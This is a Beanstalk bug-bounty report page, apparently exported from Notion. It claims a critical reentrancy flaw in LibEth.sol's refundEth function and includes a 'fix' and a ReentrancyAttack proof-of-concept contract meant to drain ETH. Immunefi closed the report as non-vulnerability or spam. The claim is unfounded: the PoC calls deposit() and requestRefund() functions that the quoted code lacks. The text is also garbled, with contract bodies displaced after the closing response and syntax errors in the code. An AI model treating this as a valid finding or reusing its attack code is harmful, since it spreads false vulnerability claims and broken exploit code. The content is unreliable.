Beanstalk Notion
Beanstalk Notion
/
🪲
Bug Reports
/
BIC Notes
/
📄
Report #31676
📄

Report #31676

Report Date
May 23, 2024
Status
Closed
Payout

Reentrancy Vulnerability in the refundEth Function of LibEth.sol Leads to Possible Total Loss of Funds

‣
Report Info

Report ID

#31676

Report type

Smart Contract

Has PoC?

Yes

Target

https://etherscan.io/address/0xDEb0f00071497a5cc9b4A6B96068277e57A82Ae2

Impacts

  • Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
  • Theft of unclaimed yield
  • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
  • Theft of gas
  • Unbounded gas consumption

Description

Content Vulnerability Type: Reentrancy Attack Severity: Critical Target Contract: LibEth.sol Affected Contract Code:

/* SPDX-License-Identifier: MIT */

pragma solidity ^0.7.6; pragma experimental ABIEncoderV2;

import "../LibAppStorage.sol";

/**

  • @author Publius
  • @title LibEth
  • */

library LibEth { function refundEth() internal { AppStorage storage s = LibAppStorage.diamondStorage(); if (address(this).balance > 0 && s.isFarm != 2) { (bool success, ) = msg.sender.call{value: address(this).balance}( new bytes(0) ); require(success, "Eth transfer Failed."); } } }

Reproduction Steps: Deploy the Target Contract LibEth.sol: Use Remix or other Solidity IDE to compile and deploy the LibEth.sol contract. Deploy the Attacking Contract ReentrancyAttack.sol: Compile and deploy the ReentrancyAttack.sol contract using the same tool, passing in the address of the target contract. Call the attack() Function of the Attacking Contract: Use the attacker's account to call the attack() function in ReentrancyAttack.sol, sending some Ether (e.g., 0.1 ETH). This function will trigger the reentrancy attack. Observe the Results: After the attack, the Ether in the target contract will be repeatedly withdrawn, causing the balance to significantly decrease or be completely drained. Impact Analysis This vulnerability allows an attacker to repeatedly call the requestRefund function in the target contract, withdrawing the contract's balance each time. This can result in the complete theft of the contract's funds, causing significant financial loss. Fix Recommendation Implement a non-reentrant lock (Reentrancy Guard) to prevent reentrancy attacks, as shown below:

pragma solidity ^0.8.0;

contract LibEth { struct AppStorage { uint256 isFarm; }

}

The nonReentrant modifier ensures that a function cannot be re-entered during its execution, thus preventing reentrancy attacks.

bool private locked;

modifier nonReentrant() { require(!locked, "ReentrancyGuard: reentrant call"); locked = true; _; locked = false; }

Proof of concept

pragma solidity ^0.8.0;

contract ReentrancyAttack { LibEth public target; bool public attackCompleted;

}

interface LibEth { function deposit() external payable; function requestRefund() external; }

Immunefi Response

Thank you for your submission to the Beanstalk bug bounty program. Unfortunately, after reviewing your report, Immunefi has decided to close it as it does not meet our project requirements.

Your submission falls under one of the following categories:

  • Non-Vulnerability Issues: These include issues such as typos, layout issues, and other non-security-related problems that do not pose any security threat.
  • Spam Issues: These include reports that are intended to advertise a product or service, to mislead users or defame the company, or are irrelevant to the program.
  • UI/UX Issues: These include issues related to user interface and user experience that do not pose any security threat.
mapping(address => uint256) public balances;
AppStorage private s;
bool private locked;

modifier nonReentrant() {
    require(!locked, "ReentrancyGuard: reentrant call");
    locked = true;
    _;
    locked = false;
}

function deposit() external payable {
    balances[msg.sender] += msg.value;
}

function refundEth() internal nonReentrant {
    if (address(this).balance > 0 && s.isFarm != 2) {
        (bool success, ) = msg.sender.call{value: address(this}.balance}(new bytes(0));
        require(success, "Eth transfer Failed.");
    }
}

function requestRefund() external {
    refundEth();
}
constructor(address _targetAddress) {
    target = LibEth(_targetAddress);
    attackCompleted = false;
}

receive() external payable {
    if (!attackCompleted) {
        attackCompleted = true; // Prevent infinite loop
        target.requestRefund();
    }
}

function attack() external payable {
    require(msg.value > 0, "Send some ether to initialize the attack");
    target.deposit{value: msg.value}();
    target.requestRefund();
}

function withdraw() external {
    (bool success, ) = msg.sender.call{value: address(this).balance}("");
    require(success, "Withdraw failed");
}